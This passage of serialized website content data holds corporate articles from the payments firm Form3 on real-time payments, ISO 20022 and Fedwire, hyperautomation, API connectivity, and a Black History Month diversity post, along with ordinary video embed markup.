Speed Banks Global Real-Time Payments Plans\">\u003C\u002Fiframe>","embed$af335e6e-c277-496e-b7a4-e38b1b915a72",{"variation":437,"version":438,"items":24059,"primary":24060,"id":24071,"slice_type":468,"slice_label":5},[],{"body":24061},[24062,24065,24068],{"type":25,"text":24063,"spans":24064},"Walters highlighted the fact that there’s a lack of standardization — and it’s a major hurdle — in integrating with different payment schemes. Real-time payment activities are localized and different across various geographies, adding another layer of complexity to the integration process. Some schemes support transaction reversals, others don’t, and some might allow for transactions to be “recalled” entirely.",[],{"type":25,"text":24066,"spans":24067},"Additionally, operational variations exist for banks that consume and initiate transactions in different payment schemes, making it difficult to create a one-size-fits-all solution.",[],{"type":25,"text":24069,"spans":24070},"“Even in a world where message content standardization is a theme, that’s not really solving a whole range of these challenges,” he explained, as some schemes’ integration can be done remotely, some can be done in the cloud and still others require connections via actual cables and lines.",[],"rich_text$4e54c879-97a5-466c-bce6-f6e8fad062b4",{"variation":437,"version":438,"items":24073,"primary":24074,"id":24100,"slice_type":468,"slice_label":5},[],{"body":24075},[24076,24079,24082,24085,24088,24091,24094,24097],{"type":746,"text":24077,"spans":24078},"Payments-as-a-Service",[],{"type":25,"text":24080,"spans":24081},"To address those pain points, Payments-as-a-Service is gaining traction as an approach that can help to anticipate and address changes in regulatory schemes and ease any technical heavy lift that confronts stakeholders. Form3, by way of example, has built a platform service that offers a single application programming interface (API) integration for customers, he said.",[],{"type":25,"text":24083,"spans":24084},"The platform streamlines the integration process and allows FIs to focus on their core business, rather than the technical complexities of payment processing, he said. By offering a platform for FIs to consume in a way that matches their technology, payment service providers can help reduce friction from having to consume local and independent pieces of technology.",[],{"type":25,"text":24086,"spans":24087},"And with a nod toward connecting to the various payment schemes, Walters said: “If you do the investment to connect to one, you get a high degree of reuse when you do a second, when you do a third, when you do a fourth, and effectively put the burden on those differences and the harmonization of those differences onto your technology provider. And that maintenance may be security-driven, it may be about resilience, it may be scaling. It may also be changes in the underlying scheme requirements.”",[],{"type":25,"text":24089,"spans":24090},"Walters also said the platform technology allows for similar use cases to evolve on technical platforms that still leverage local payment offerings and technologies.",[],{"type":25,"text":24092,"spans":24093},"“I think we will probably see that happen significantly faster than we would necessarily see very high volumes across a central infrastructure flow,” he said.",[],{"type":25,"text":24095,"spans":24096},"Resilience remains critical to the operation of, and trust in, real-time payment schemes, especially as they connect across country borders and time zones. Payments-as-a-Service, he said, has come of age and can help FIs deal with double-digit percentage growth rates of transactions year in and year out.",[],{"type":25,"text":24098,"spans":24099},"As Walters told PYMNTS, “interoperability and the ability to genuinely create a real-time, traceable, cross-border flow is absolutely feasible.”",[],"rich_text$b30a7347-2c7d-4aa2-a0b0-94c7143700ff",{"variation":437,"version":438,"items":24102,"primary":24103,"id":24110,"slice_type":468,"slice_label":5},[],{"body":24104},[24105],{"type":25,"text":14790,"spans":24106},[24107],{"start":9799,"end":1131,"type":489,"data":24108},{"link_type":491,"url":24109,"target":493},"http:\u002F\u002Fpymnts.com\u002F","rich_text$1aa57895-541c-47a6-bf1e-f5428481caaa",{"id":24112,"uid":24113,"type":3743,"data":24114},"alzzshEAACoAUWQX","black-history-month-at-form3",{"title":24115,"excerpt":24116,"card_image":24117,"published_date":24122,"reading_time":506,"tag":3751,"dek":24116,"featured_image":24123,"about_form3":24129,"client_about_heading":5,"client_about_body":24130,"author_name":5,"author_title":5,"author_photo":24131,"author_bio":24132,"author_linkedin":24133,"slices":24134,"meta_title":24115,"meta_description":24185},"Black History Month at Form3","On an industry level, we know that the landscape is bleak when it comes to diversity. That’s why we felt that it was important for us to recognise and celebrate Black History Month as part of our Form3 Social Calendar, with the caveat that it’s not just a month-long affair, but rather an embedding of the ongoing celebration of diversity and culture into our company DNA.",{"dimensions":24118,"alt":24115,"copyright":5,"url":24119,"id":24120,"edit":24121},{"width":412,"height":412},"\u002F_prismic-media\u002Fe5a38d95c9f1728e-tZb0bDkE_440hALH_black-history-month-at-form3.pn","tZb0bDkE_440hALH",{"x":398,"y":398,"zoom":399,"background":400},"2022-11-14",{"dimensions":24124,"alt":24125,"copyright":5,"url":24126,"id":24127,"edit":24128},{"width":501,"height":502},"Black History Month","\u002F_prismic-media\u002Fec637f4a9738ba18-vMpNCbV7N8zbHthb_bd42cb34-fc6a-48aa-bf5b-6d626f4.png","vMpNCbV7N8zbHthb",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[24135],{"variation":437,"version":438,"items":24136,"primary":24137,"id":24184,"slice_type":468,"slice_label":5},[],{"body":24138},[24139,24142,24145,24148,24151,24154,24157,24160,24163,24166,24169,24172,24175,24178,24181],{"type":746,"text":24140,"spans":24141},"Time for change: actions not words",[],{"type":25,"text":24143,"spans":24144},"The theme for this year’s Black History Month was ‘time for change: actions not words’. This is a really poignant theme, as too often, organisations and even individuals will embrace diversity and inclusion on a surface level, without taking practical action and steps to actually create change within themselves, or their organisations. ",[],{"type":25,"text":24146,"spans":24147},"Now, don’t get me wrong, we absolutely recognise that as an organisation, we are at the very beginning of our journey, but being an inclusive, anti-racist, diversity and culture-celebrating organisation is something that is so important to us. We want to foster an environment that anyone feels that they can be a part of, regardless of any personal characteristics or traits that they feel define them. We want to celebrate and embrace our differences as we continue to scale. We’re pro-actively taking steps to educate ourselves and our colleagues on what it means to operate in a fully inclusionary way from our most junior to our most senior hires.",[],{"type":25,"text":24149,"spans":24150}," Here are a few of the things that Form3 is doing to promote diversity and inclusion:",[],{"type":1151,"text":24152,"spans":24153},"Salary benchmarking – we regularly benchmark salaries to ensure these are consistent with local markets ",[],{"type":1151,"text":24155,"spans":24156},"Starting to collect data on diversity statistics, where international laws allow",[],{"type":1151,"text":24158,"spans":24159},"Prioritising applications from diverse hires in our Fr3shers recruitment processes",[],{"type":1151,"text":24161,"spans":24162},"Championing the use of Learning Days for activities relating to diversity and inclusion",[],{"type":1151,"text":24164,"spans":24165},"Ability to choose to swap bank holidays",[],{"type":1151,"text":24167,"spans":24168},"Offer remote-first and flexible working to all of our hires; supporting non-traditional working patterns and working hours",[],{"type":1151,"text":24170,"spans":24171},"Launching Diversity, Equity, Inclusion & Belonging training for our managers and employees",[],{"type":1151,"text":24173,"spans":24174},"Partnering with Redi School of Digital Integration and Stemmettes to offer our time and resources to educate individuals from different backgrounds ",[],{"type":25,"text":24176,"spans":24177},"As part of our Form3 Social Calendar celebration, we put a spotlight on two books by black authors in our book-club Slack channel: Freshwater by Akwaeke Emezi and Between the World and Me by Ta-Nehisi Coates, enabling employees to purchase the books using their Learning and Development allowance or downloading them to their Perlego account.",[],{"type":25,"text":24179,"spans":24180},"As Inclusion Officer, I was able to use my Learning Days and Learning Allowance to attend the Black Young Professionals 2022 Leadership Conference and London Tech Week’s Black History Month celebration – two events filled with invaluable insights from entrepreneurs, founders, CEOs, artists, politicians, actors, TV presenters (and the list goes on!) on their professional and personal journeys as black individuals in their industry. ",[],{"type":25,"text":24182,"spans":24183},"To finish off the month, we had the amazing Flavilla Fongang come to talk to us about her personal and career journey. It was a really great session where colleagues were able to ask questions around challenges she has faced due to race and bias, her experience as a black woman in the tech industry, and how to build your ‘tribe’. A key takeaway from this session for me was when describing how to create your own ‘tribe’ Flavilla mentioned that it was about creating something that benefits everybody, and not just yourself. That’s certainly the direction I see Form3 progressing in, when it comes to diversity and inclusion, and I’ll be keen to report back on our next moves in this space in the coming months!",[],"rich_text$64207ec2-5098-4bcb-b4b3-d1c7a1d74927","The theme for this year’s Black History Month was ‘time for change: actions not words’. This is a really poignant theme, as too often, organisations and even individuals will embrace diversity and inclusion on a surface level, without taking practical action and steps to actually create change within themselves, or their organisations.",{"id":24187,"uid":24188,"type":3743,"data":24189},"alzy3hEAAC0AUWIb","fedwire-will-get-boost-from-iso-200221",{"title":24190,"excerpt":24191,"card_image":24192,"published_date":24197,"reading_time":418,"tag":5813,"dek":5,"featured_image":24198,"about_form3":24203,"client_about_heading":5,"client_about_body":24204,"author_name":5,"author_title":5,"author_photo":24205,"author_bio":24206,"author_linkedin":24207,"slices":24208,"meta_title":24190,"meta_description":24191},"Fedwire Will Get Boost From ISO 20022 and Data-Rich Messaging","The Fedwire service continues to gain adherents and promises to transform payments. And as ISO 20022, the data-rich messaging standard, moves through a staggered implementation schedule across the global stage, Laura Sullivan, senior product manager at Form3, said Fedwire is poised for its own transformation.",{"dimensions":24193,"alt":14690,"copyright":5,"url":24194,"id":24195,"edit":24196},{"width":412,"height":412},"\u002F_prismic-media\u002F985cf51f379320ac-eHHHryoqQMFQM_oE_fedwire-will-get-boost-from-iso.png","eHHHryoqQMFQM_oE",{"x":398,"y":398,"zoom":399,"background":400},"2023-11-07",{"dimensions":24199,"alt":21963,"copyright":5,"url":24200,"id":24201,"edit":24202},{"width":501,"height":646},"\u002F_prismic-media\u002F1032526e82080393-6XwLZNM1hXNAho4Z_ef351dce-eb4f-41f5-8956-4a2c127.png","6XwLZNM1hXNAho4Z",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[24209,24241,24252,24280],{"variation":437,"version":438,"items":24210,"primary":24211,"id":24240,"slice_type":468,"slice_label":5},[],{"body":24212},[24213,24216,24219,24224,24231,24234,24237],{"type":25,"text":24214,"spans":24215},"The Fedwire service continues to gain adherents and promises to transform payments.",[],{"type":25,"text":24217,"spans":24218},"And as ISO 20022, the data-rich messaging standard, moves through a staggered implementation schedule across the global stage, Laura Sullivan, senior product manager at Form3, said Fedwire is poised for its own transformation.",[],{"type":25,"text":24220,"spans":24221},"Fedwire operates as a real-time gross settlement system. Payments that flow through the system are settled immediately with a bank’s Federal Reserve account and are irrevocable.",[24222],{"start":783,"end":8736,"type":489,"data":24223},{"link_type":491,"url":22871,"target":493},{"type":25,"text":24225,"spans":24226},"“The single biggest thing that ISO 20022 will do for Fedwire is align it with many of the other payment systems around the world,” said Sullivan. She noted that “there is a fairly significant portion” of Fedwire volume that either originates, or ends up, overseas. Most of those payments flow through the SWIFT network. SWIFT, for the most part, now supports the ISO 20022 standard.",[24227],{"start":24228,"end":9161,"type":489,"data":24229},305,{"link_type":491,"url":24230,"target":493},"https:\u002F\u002Fwww.swift.com\u002F",{"type":25,"text":24232,"spans":24233},"None of this is to say that there have not been some challenges. Sullivan recounted that when banks started the new SWIFT messages through ISO, there were some additional false declines because additional data (tied to address lines and other information) was triggering sanctions reviews.",[],{"type":25,"text":24235,"spans":24236},"By the end of 2025, the city and country will be required to be in precise fields — which, even as simple as it sounds, as Sullivan acknowledged, is a vast improvement over long-standing practices.",[],{"type":25,"text":24238,"spans":24239},"The migration “has really gone surprisingly smoothly, and the banks have handled it well,” said Sullivan.",[],"rich_text$208c5a0e-7ebb-4998-85b4-fa8ae792d286",{"variation":437,"version":438,"items":24242,"primary":24243,"id":24251,"slice_type":468,"slice_label":5},[],{"body":24244},[24245],{"type":25,"text":24246,"spans":24247},"Watch: https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=https:\u002F\u002Fvimeo.com\u002F897136519",[24248],{"start":1130,"end":14740,"type":489,"data":24249},{"link_type":491,"url":24250},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=https:\u002F\u002Fvimeo.com\u002F897136519","rich_text$55a6ee75-8b63-476d-b408-9935c7d377f0",{"variation":437,"version":438,"items":24253,"primary":24254,"id":24279,"slice_type":468,"slice_label":5},[],{"body":24255},[24256,24259,24262,24265,24268,24271,24274],{"type":746,"text":24257,"spans":24258},"No Fear of ‘Dropping’ Data",[],{"type":25,"text":24260,"spans":24261},"“Being able to transport data without fear of ‘dropping’ that data or having to wedge it into fields that aren’t really fit for purpose” will benefit Fedwire, she said. In addition, the standardization of data flows will streamline messaging.",[],{"type":25,"text":24263,"spans":24264},"Historically, requests for payment (known as drawdowns in Fedwire terminology) or requests to have money returned might not have gotten a response, she said. But with ISO 20022 in place, there are specific message types that can be used to respond, “even if it’s just to say, ‘I got the request and am looking at it.’ That’s a huge difference for banks … you don’t have to continually send follow-up messages to ask what’s going on with a payment.”",[],{"type":25,"text":24266,"spans":24267},"Fedwire has also, traditionally, been limited in the number of parties that could be referenced in a payment, but those impediments are now no longer, well, impediments. In a hypothetical example, an investment firm would no longer have to strive to “figure out” who the money might be for based on reading a generic text reference field. The data is relayed through a structured field, and the application of funds is automated.",[],{"type":25,"text":24269,"spans":24270},"Asked by PYMNTS about the particular use cases that might benefit from the embrace of the new messaging standards, Sullivan said that “getting that invoice information to travel with the payment” can help even smaller companies save significant amounts of money as they reconcile their accounts receivable with payments received.",[],{"type":25,"text":24272,"spans":24273},"“We’ll start to see banks and FinTechs determine how to provide and make use of that data so that it streamlines reconciliation and error handling for their customers,” Sullivan predicted.",[],{"type":25,"text":24275,"spans":24276},"Looking ahead, said Sullivan, it’s likely that at least some payments volume will migrate from Fedwire to the FedNow® Service. One of the key distinctions between the instant payment systems and Fedwire is the dollar limit cap. The average Fedwire transaction is in the range of $5 million, and many of the payments are bank to bank. But as FedNow gains more acceptance and raises transaction limits, there will be a gradual shift of at least some Fedwire transactions to FedNow.",[24277],{"start":4176,"end":10343,"type":489,"data":24278},{"link_type":491,"url":14982,"target":493},"rich_text$d8dd80f0-2d2c-485f-b007-9a668dfd872d",{"variation":437,"version":438,"items":24281,"primary":24282,"id":24289,"slice_type":468,"slice_label":5},[],{"body":24283},[24284],{"type":25,"text":14790,"spans":24285},[24286],{"start":9799,"end":1131,"type":489,"data":24287},{"link_type":491,"url":24288,"target":493},"https:\u002F\u002Fwww.pymnts.com\u002Fdisbursements\u002F2023\u002Firs-launches-voluntary-disclosure-program-for-businesses-that-filed-dubious-erc-claims\u002F","rich_text$0d7dc14b-b0cc-48ff-9ac3-dccb3306ece0",{"id":24291,"uid":24292,"type":3743,"data":24293},"alzy5BEAACcAUWIr","unleashing-hyper-automation-the-next-frontier-in-payment-innovation",{"title":24294,"excerpt":24295,"card_image":24296,"published_date":24301,"reading_time":418,"tag":3751,"dek":24295,"featured_image":24302,"about_form3":24308,"client_about_heading":5,"client_about_body":24309,"author_name":5,"author_title":5,"author_photo":24310,"author_bio":24311,"author_linkedin":24312,"slices":24313,"meta_title":24294,"meta_description":24295},"Unleashing Hyperautomation: The Next Frontier in Payment Innovation","Explore the transformative journey of hyper automation in payments with a spotlight on how integrating new technologies within the context of a platform approach can streamline payment processes, reduce operational costs, and ultimately enhance customer satisfaction.",{"dimensions":24297,"alt":24294,"copyright":5,"url":24298,"id":24299,"edit":24300},{"width":412,"height":412},"\u002F_prismic-media\u002Ff30042ac5b296626-NtrhqU8a5TP0PFmz_unleashing-hyper-automation-the.png","NtrhqU8a5TP0PFmz",{"x":398,"y":398,"zoom":399,"background":400},"2023-10-26",{"dimensions":24303,"alt":24304,"copyright":5,"url":24305,"id":24306,"edit":24307},{"width":501,"height":646},"Hyperautomation","\u002F_prismic-media\u002F9ffc163c60cda76c---sVh7qgCFoZ-K5F_ef351dce-eb4f-41f5-8956-4a2c127.png","--sVh7qgCFoZ-K5F",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[24314,24325,24357],{"variation":437,"version":438,"items":24315,"primary":24316,"id":24324,"slice_type":468,"slice_label":5},[],{"body":24317},[24318,24321],{"type":25,"text":24319,"spans":24320},"The technological landscape within the banking sector continually evolves, with a keen focus on automating processes to enhance efficiency and customer service. The emergent notion of hyperautomation, however, is a significant leap forward in this space. It amalgamates disjointed systems and transforms banking processes from end to end, employing technologies such as machine learning, robotic process optimization, and low-code application development. ",[],{"type":25,"text":24322,"spans":24323},"The impetus for hyperautomation in banks is driven by three key factors: growth, cost reduction, and risk mitigation. These are the day-to-day considerations of bank executives aiming to carve a sustainable and progressive banking ecosystem. Hyperautomation, at its core, is a comprehensive digital transformation strategy. It aims at automating a broad spectrum of business processes while digitally augmenting those that require human input. Unlike a monolithic entity, it mandates the coordinated implementation of multiple tools. Importantly, the objective is not to replace human workers but to seamlessly integrate them into the process. Implementing hyperautomation within the core banking system significantly reduces processing time, minimizes operating expenses, and shifts the focus towards fostering customer relationships. The technology also finds its utility in payment processing, account management, and automating certain back-office functions. ",[],"rich_text$ee782dc5-dd4c-4667-863c-dded05a121fd",{"variation":437,"version":438,"items":24326,"primary":24327,"id":24356,"slice_type":468,"slice_label":5},[],{"body":24328},[24329,24332,24335,24339,24342,24346,24349,24353],{"type":746,"text":24330,"spans":24331},"Navigating the Hyperautomation Odyssey: Key Considerations",[],{"type":25,"text":24333,"spans":24334},"The real challenge for financial institutions is plotting a realistic and financially sound pathway to implement hyperautomation. Here are three key aspects essential for success: ",[],{"type":25,"text":24336,"spans":24337},"1. Customer-Centric Outcomes: ",[24338],{"start":398,"end":871,"type":593},{"type":25,"text":24340,"spans":24341},"Hyperautomation goes beyond merely deploying advanced technologies. It’s a tool to deliver enhanced experiences and value to customers — be it by onboarding new customers faster, bringing innovative products to market quicker, or processing loan applications in a way that meets customers’ needs. The lens of hyperautomation should focus on how technology and data can replace cumbersome and inefficient processes that frustrate both customers and employees, which is a good starting point for a hyperautomation journey. ",[],{"type":25,"text":24343,"spans":24344},"2. Robust Digital Foundation: ",[24345],{"start":398,"end":871,"type":593},{"type":25,"text":24347,"spans":24348},"Siloed data is the enemy of hyperautomation. It's vital to transition from on-premises data warehouses to cloud-based platforms, connecting and integrating traditionally siloed data. ",[],{"type":25,"text":24350,"spans":24351},"3. Operational Agility with Risk Minimization: ",[24352],{"start":398,"end":9202,"type":593},{"type":25,"text":24354,"spans":24355},"The human element in workflows, while essential, can be a source of errors. Compliance requires human oversight and customers often desire direct engagement, even when digital solutions are effective. Done right, hyperautomation delivers the efficiency and insights that advanced tools offer while retaining the human touch for crucial oversight and customer value. This results in enhanced operational agility and reduced risk. ",[],"rich_text$af12b690-109b-4e86-bf78-fbef52fa962b",{"variation":437,"version":438,"items":24358,"primary":24359,"id":24382,"slice_type":468,"slice_label":5},[],{"body":24360},[24361,24364,24367,24370,24373,24376,24379],{"type":746,"text":24362,"spans":24363},"The Platform Approach: Paving the Way for Hyperautomation in Payments",[],{"type":25,"text":24365,"spans":24366},"In the realm of banking and financial services, the pace and accuracy at which transactions are handled represent a cornerstone of operational efficiency and customer satisfaction. A 'platform approach' to payments is emerging as a critical enabler of the hyperautomation journey. This approach encapsulates an integrated, cloud-native infrastructure that not only streamlines payment processes but also serves as a nexus for deploying advanced automation technologies. It unshackles banks from the constraints of legacy systems, offering a scalable, agile, and data-driven ecosystem. The platform becomes the enabler of end-to-end automation, facilitating real-time data analysis, predictive analytics, and seamless transaction processing. By harnessing a platform approach, banks can transcend traditional operational boundaries, reduce costs, mitigate risks, and deliver superior value to their customers.  ",[],{"type":25,"text":24368,"spans":24369},"Diving into the practical aspect, hyperautomation's journey is nuanced. At Form3, our internal systems exhibit a promising landscape for hyperautomation. Our approach towards monitoring, alerting, and incident management entails a blend of multiple tools that interact seamlessly, channeling very targeted human activity once machines have accomplished a bulk of the work. For instance, our rules-based alerting system monitors for specific discrepancies such as time of non-response, number of items in a queue, or absence of a report, informing the Incident Manager and On-call Engineering teams to evaluate the outcomes and take necessary actions. ",[],{"type":25,"text":24371,"spans":24372},"The aspiration for our cloud-native payments platform is to evolve into a self-learning entity that can autonomously discern the significance of alerts. For instance, recognizing patterns in alerts which either self-diagnose issues or better yet, understand client-facing impacts and take proactive corrective measures. The envisioned scenario is where a sequence of alerts within a specific timeframe triggers a known corrective action based on historical data. Although programming these combinations into the platform is time-consuming, it’s certainly achievable. ",[],{"type":25,"text":24374,"spans":24375},"The desired outcome? A self-sufficient platform that assimilates inputs from alerts, decisions from individuals, learns from these interactions, and autonomously executes the learned responses, including client updates. ",[],{"type":25,"text":24377,"spans":24378},"Looking further, the prospect of machine-to-machine communication could unveil a realm where Form3 customers not only learn from their own payment processing experiences but from others too. The platform’s ability to consolidate, analyse, design, and automate across the spectrum, sharing these learnings with all, is a tantalizing prospect, and exciting view of where payments are moving to. ",[],{"type":25,"text":24380,"spans":24381},"As we navigate the path of hyperautomation, we are starting to shape how it can mutually benefit both Form3 and our clientele, marking the onset of a new era in banking technology where hyperautomation is at the core of operational excellence and customer satisfaction. ",[],"rich_text$60d4ff68-d333-469d-8070-aa03c1415633",{"id":24384,"uid":24385,"type":3743,"data":24386},"alzySxEAACkAUWDB","building-payments-infrastructure-for-the-real-time-economy",{"title":24387,"excerpt":24388,"card_image":24389,"published_date":24394,"reading_time":418,"tag":3751,"dek":24395,"featured_image":24396,"about_form3":24401,"client_about_heading":5,"client_about_body":24402,"author_name":5,"author_title":5,"author_photo":24403,"author_bio":24404,"author_linkedin":24405,"slices":24406,"meta_title":24387,"meta_description":24412},"Building payments infrastructure for the real-time economy","As expectations for instant, secure payments continue to rise, legacy infrastructure built for batch processing is struggling to keep pace. This article explores the challenges banks and fintechs face in modernising their systems, and how cloud-native, resilient architectures are enabling the real-time economy.",{"dimensions":24390,"alt":24387,"copyright":5,"url":24391,"id":24392,"edit":24393},{"width":412,"height":412},"\u002F_prismic-media\u002F7be17c135dd596b5-nyJ3P4YzfJTcfzuF_building-payments-infrastructur.png","nyJ3P4YzfJTcfzuF",{"x":398,"y":398,"zoom":399,"background":400},"2026-03-05","This article was produced in partnership with Business Reporter.",{"dimensions":24397,"alt":413,"copyright":5,"url":24398,"id":24399,"edit":24400},{"width":501,"height":646},"\u002F_prismic-media\u002F0cdeca60b0f9d489-XOTJNfamaDDl6aNy_aBCz_vIqRLdaBtH-_Form3_SEO_Ligh.jpg","XOTJNfamaDDl6aNy",{"x":398,"y":398,"zoom":399,"background":650},[],[],{},[],{"link_type":434},[24407,24430],{"variation":437,"version":438,"items":24408,"primary":24409,"id":24429,"slice_type":468,"slice_label":5},[],{"body":24410},[24411,24417,24420,24423,24426],{"type":25,"text":24412,"spans":24413,"direction":445},"In the Business Reporter article Keeping up with demand: building payments infrastructure for the real-time economy, the evolution of payment systems is explored against the demands of today’s digital financial environment. As societies and businesses increasingly expect money to move instantly and securely, legacy systems designed for batch processing are struggling to keep pace.",[24414],{"start":9077,"end":9222,"type":489,"data":24415},{"link_type":491,"url":24416,"target":493},"https:\u002F\u002Fwww.business-reporter.co.uk\u002Fbest-of-global-business\u002Fkeeping-up-with-demand-building-payments-infrastructure-for-the-real-time-economy",{"type":25,"text":24418,"spans":24419,"direction":445},"Payments underlie virtually every economic interaction, from daily retail purchases to corporate transactions, and that even brief outages have tangible impacts on individuals and businesses. Traditional account-to-account payment systems were built for slower processing cycles and are now challenged by regulatory initiatives and consumer demand for near-instant settlement. ",[],{"type":25,"text":24421,"spans":24422,"direction":445},"Banks that have developed their own on-premises infrastructure face complex modernisation hurdles, while fintech and challenger banks, although architected for speed, must balance rapid innovation with trust and compliance. As a result, modern payment infrastructure requires resilience and architectural flexibility; strategies such as multi-cloud deployment, hybrid platforms and redundancy are necessary to ensure continuity of service even in adverse conditions. ",[],{"type":25,"text":24424,"spans":24425,"direction":445},"For Form3, these industry trends underscore the need to provide payment infrastructure that supports real-time processing without the operational burden of legacy systems. By enabling cloud-native, API- driven connectivity to multiple payment schemes and supporting robust, always-on architectures, such solutions allow financial institutions and fintechs to keep pace with rising demand. ",[],{"type":25,"text":24427,"spans":24428,"direction":445},"This capability not only enhances operational resilience but also positions organisations to capitalise on the expanding real-time payments ecosystem, supporting faster, more reliable and customer-centric financial services.",[],"rich_text$89d267b6-c7b1-4a55-8a23-84baa19ce74b",{"variation":437,"version":438,"items":24431,"primary":24432,"id":24438,"slice_type":2058,"slice_label":5},[],{"headline":5,"sub_headline":24433,"embed":24434,"caption":5},"Keeping up with demand: building payments infrastructure for the real-time economy",{"embed_url":24435,"provider_name":283,"provider_url":2050,"title":24433,"author_name":413,"author_url":284,"type":2048,"height":2055,"width":2056,"version":2049,"thumbnail_height":2053,"thumbnail_width":2052,"thumbnail_url":24436,"html":24437},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=AG1TbSfAI-8","https:\u002F\u002Fi.ytimg.com\u002Fvi\u002FAG1TbSfAI-8\u002Fhqdefault.jpg","\u003Ciframe width=\"200\" height=\"113\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FAG1TbSfAI-8?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen title=\"Keeping up with demand: building payments infrastructure for the real-time economy\">\u003C\u002Fiframe>","embed$3f6ecdff-23bf-4232-bcc8-d4f225f508a9",{"id":24440,"uid":24441,"type":3743,"data":24442},"alzyqxEAACoAUWGk","webinar-rethinking-a-platform-approach-to-payments",{"title":24443,"excerpt":24444,"card_image":24445,"published_date":24450,"reading_time":9211,"tag":6178,"dek":5,"featured_image":24451,"about_form3":24456,"client_about_heading":5,"client_about_body":24457,"author_name":5,"author_title":5,"author_photo":24458,"author_bio":24459,"author_linkedin":24460,"slices":24461,"meta_title":24443,"meta_description":24444},"Webinar: Rethinking a Platform Approach to Payments","Traditional payment gateways have often hindered innovation and acted as a constraint on payment modernization. A platform-based approach is seen as the true successor to these legacy systems and one that is helping banks in their goal to commercialize ‘value-added services’ and develop a more client centric service model.",{"dimensions":24446,"alt":14697,"copyright":5,"url":24447,"id":24448,"edit":24449},{"width":412,"height":412},"\u002F_prismic-media\u002F72d17b5da4f69241-4xd2WltMDO7TCuE0_webinar-rethinking-a-platform-a.jpg","4xd2WltMDO7TCuE0",{"x":398,"y":398,"zoom":399,"background":650},"2024-05-01",{"dimensions":24452,"alt":14697,"copyright":5,"url":24453,"id":24454,"edit":24455},{"width":501,"height":646},"\u002F_prismic-media\u002F1be57cb7aa04c148-59FTmd_paqCxFSzS_ef351dce-eb4f-41f5-8956-4a2c127.png","59FTmd_paqCxFSzS",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[24462,24469],{"variation":437,"version":438,"items":24463,"primary":24464,"id":24468,"slice_type":468,"slice_label":5},[],{"body":24465},[24466],{"type":25,"text":24444,"spans":24467},[],"rich_text$38706d26-7aee-4b71-bb20-58019b997986",{"variation":437,"version":438,"items":24470,"primary":24471,"id":24486,"slice_type":468,"slice_label":5},[],{"body":24472},[24473,24475,24478,24482],{"type":746,"text":21602,"spans":24474},[],{"type":3373,"text":21776,"spans":24476},[24477],{"start":398,"end":1951,"type":593},{"type":3373,"text":24479,"spans":24480},"Peter Gordon, Founder\nATLANTIC FINTECH ADVISORS",[24481],{"start":398,"end":2707,"type":593},{"type":3373,"text":24483,"spans":24484},"James Wester, Co-Head of Payments \nJAVELIN STRATEGY & RESEARCH",[24485],{"start":398,"end":2707,"type":593},"rich_text$302f2b0a-0f8b-4501-a351-2dacdc3f9ac5",{"id":24488,"uid":24489,"type":3743,"data":24490},"alzzEBEAACgAUWKL","apis-revolutionize-connectivity-for-fis-and-set-stage-for-real-time-payments-success",{"title":24491,"excerpt":24492,"card_image":24493,"published_date":24498,"reading_time":418,"tag":5813,"dek":24492,"featured_image":24499,"about_form3":24504,"client_about_heading":5,"client_about_body":24505,"author_name":5,"author_title":5,"author_photo":24506,"author_bio":24507,"author_linkedin":24508,"slices":24509,"meta_title":24491,"meta_description":24492},"APIs Revolutionize Connectivity for FIs and Set Stage for Real-Time Payments Success","Application programming interfaces (APIs) are emerging as a powerful tool with the potential to revolutionize the way financial services are delivered and consumed. But as Jolanda Schekermans, Head of Product – API Experience at Form3, told PYMNTS, financial institutions (FIs) and other providers must understand how APIs can and should be used to drive results and innovation, rather than simply adopting them as a technical solution.",{"dimensions":24494,"alt":21799,"copyright":5,"url":24495,"id":24496,"edit":24497},{"width":412,"height":412},"\u002F_prismic-media\u002F8dcabe029e122cf8-KS_C8XskIbz5BkgS_apis-revolutionize-connectivity.png","KS_C8XskIbz5BkgS",{"x":398,"y":398,"zoom":399,"background":400},"2023-08-16",{"dimensions":24500,"alt":21799,"copyright":5,"url":24501,"id":24502,"edit":24503},{"width":501,"height":646},"\u002F_prismic-media\u002Fa5bc56608daa8070-cjpdZeg0zbjxW2qo_ef351dce-eb4f-41f5-8956-4a2c127.png","cjpdZeg0zbjxW2qo",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[24510,24518,24526,24566],{"variation":437,"version":438,"items":24511,"primary":24512,"id":24517,"slice_type":2058,"slice_label":5},[],{"headline":5,"sub_headline":5,"embed":24513,"caption":5},{"embed_url":24514,"provider_name":283,"provider_url":2050,"title":24491,"author_name":413,"author_url":284,"type":2048,"height":2055,"width":2056,"version":2049,"thumbnail_height":2053,"thumbnail_width":2052,"thumbnail_url":24515,"html":24516},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=tK-oj6s_v1o","https:\u002F\u002Fi.ytimg.com\u002Fvi\u002FtK-oj6s_v1o\u002Fhqdefault.jpg","\u003Ciframe width=\"200\" height=\"113\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FtK-oj6s_v1o?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen title=\"APIs Revolutionize Connectivity for FIs and Set Stage for Real-Time Payments Success\">\u003C\u002Fiframe>","embed$81f9f9b6-6a13-432d-bec2-35c149c96e25",{"variation":437,"version":438,"items":24519,"primary":24520,"id":24525,"slice_type":468,"slice_label":5},[],{"body":24521},[24522],{"type":25,"text":24523,"spans":24524},"Despite the benefits, banks may face stumbling blocks in adopting APIs due to limited experience with APIs, and they are tied to the presence of legacy systems. Schekermans acknowledged this challenge, stating that technology has developed at an amazing speed in the payments industry, and the back offices of most banks have not been able to keep up. There is still a journey for many of them before they can truly maximize the use of these new technologies like 